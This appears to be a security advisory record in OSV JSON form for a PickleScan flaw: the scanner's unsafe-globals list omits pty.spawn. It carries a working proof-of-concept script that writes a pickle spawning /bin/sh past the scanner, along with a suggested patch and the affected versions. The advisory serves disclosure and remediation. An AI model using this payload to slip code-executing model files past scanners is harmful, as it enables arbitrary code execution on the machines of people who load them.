{"id":"PYSEC-2026-1790","summary":"Picklescan Bypasses Unsafe Globals Check using pty.spawn","details":"### Summary\nThe vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from the absence of the `pty` library (more specifically, of  the `pty.spawn` function) from PickleScan's list of unsafe globals. This vulnerability allows attackers to disguise malicious pickle payloads within files that would otherwise be scanned for pickle-based threats.\n\n### Details\nFor 2025's [HeroCTF](https://heroctf.fr/), there was a challenge named Irreductible 2 where players would need to bypass the latest versions of PickleScan and [Fickling](https://github.com/trailofbits/fickling/) to gain code execution. The challenge [writeup](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/README.md), [files](https://github.com/HeroCTF/HeroCTF_v7/tree/master/Misc/Irreductible-2) and [solve script](https://github.com/HeroCTF/HeroCTF_v7/blob/master/Misc/Irreductible-2/solve.py) have all been released.\n\nThe intended way was to use `pty.spawn` but some players found alternative solutions.\n\n### PoC\n\n- Run the following Python code to generate the PoC pickle file.\n\n```py\nimport pickle\n\ncommand = b\"/bin/sh\"\n\npayload = b\"\".join(\n    [\n        pickle.PROTO + pickle.pack(\"B\", 4),\n        pickle.MARK,\n        pickle.GLOBAL + b\"pty\\n\" + b\"spawn\\n\",\n        pickle.EMPTY_LIST,\n        pickle.SHORT_BINUNICODE + pickle.pack(\"B\", len(command)) + command,\n        pickle.APPEND,\n        # Additional arguments can be passed by repeating the SHORT_BINUNICODE + APPEND opcodes\n        pickle.OBJ,\n        pickle.STOP,\n    ]\n)\n\nwith open(\"dump.pkl\", \"wb\") as f:\n    f.write(payload)\n```\n\n- Run PickleScan on the generated pickle file.\n\u003cimg width=\"936\" height=\"311\" alt=\"picklescan_bypass_pty_spawn\" src=\"https://github.com/user-attachments/assets/0d6430e4-a7e5-461c-9d75-c607f6886c9f\" /\u003e\n\nPickleScan detects the `pty.spawn` global as \"suspicious\" but not \"dangerous\", allowing it to be loaded.\n\n### Impact\n**Severity**: High\n**Affected Users**: Any organization, like HuggingFace, or individual using PickleScan to analyze PyTorch models or other files distributed as ZIP archives for malicious pickle content.\n**Impact Details**: Attackers can craft malicious PyTorch models containing embedded pickle payloads and bypass the PickleScan check by using the `pty.spawn` function. This could lead to arbitrary code execution on the user's system when these malicious files are processed or loaded.\n\n### Suggested Patch\n\n```\ndiff --git a/src/picklescan/scanner.py b/src/picklescan/scanner.py\nindex 34a5715..b434069 100644\n--- a/src/picklescan/scanner.py\n+++ b/src/picklescan/scanner.py\n@@ -150,6 +150,7 @@ _unsafe_globals = {\n     \"_pickle\": \"*\",\n     \"pip\": \"*\",\n     \"profile\": {\"Profile.run\", \"Profile.runctx\"},\n+    \"pty\": \"spawn\",\n     \"pydoc\": \"pipepager\",  # pydoc.pipepager('help','echo pwned')\n     \"timeit\": \"*\",\n     \"torch._dynamo.guards\": {\"GuardBuilder.get\"},\n```","aliases":["CVE-2025-71322","GHSA-hgrh-qx5j-jfwx"],"modified":"2026-07-07T17:48:02.258031066Z","published":"2026-07-07T16:03:14.449551Z","references":[{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-hgrh-qx5j-jfwx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71322"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/pull/53"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"},{"type":"PACKAGE","url":"https://github.com/mmaitre314/picklescan"},{"type":"WEB","url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/picklescan-unsafe-globals-check-bypass-via-pty-spawn-function"},{"type":"PACKAGE","url":"https://pypi.org/project/picklescan"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hgrh-qx5j-jfwx"}],"affected":[{"package":{"name":"picklescan","ecosystem":"PyPI","purl":"pkg:pypi/picklescan"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.33"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.28","0.0.29","0.0.3","0.0.30","0.0.31","0.0.32","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/picklescan/PYSEC-2026-1790.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}